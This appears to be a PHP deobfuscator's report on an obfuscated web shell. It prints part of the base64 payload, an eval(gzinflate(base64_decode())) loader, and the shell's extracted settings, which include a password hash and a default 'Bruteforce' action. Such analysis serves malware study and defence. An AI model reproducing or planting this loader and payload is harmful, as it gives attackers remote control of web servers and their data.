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" ;eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28\x24\x6F\x29\x29\x29\x3B"); ?>

Function Calls

gzinflate 1
base64_decode 1

Variables

$o 5b1rd9u4zij8uXut/R8UjaeyJ45jO2l3J47dS5q06SXp5NJr+nhkWbbVyJJH..
$color #ddff55
$auth_pass 5460217e208fb34ca729c7fab632fb77
$default_action Bruteforce
$default_charset Windows-1251
$default_use_ajax True

Stats

MD5 2af30922069c819e3f6c15f33faf7f7f
Eval Count 2
Decode Time 159 ms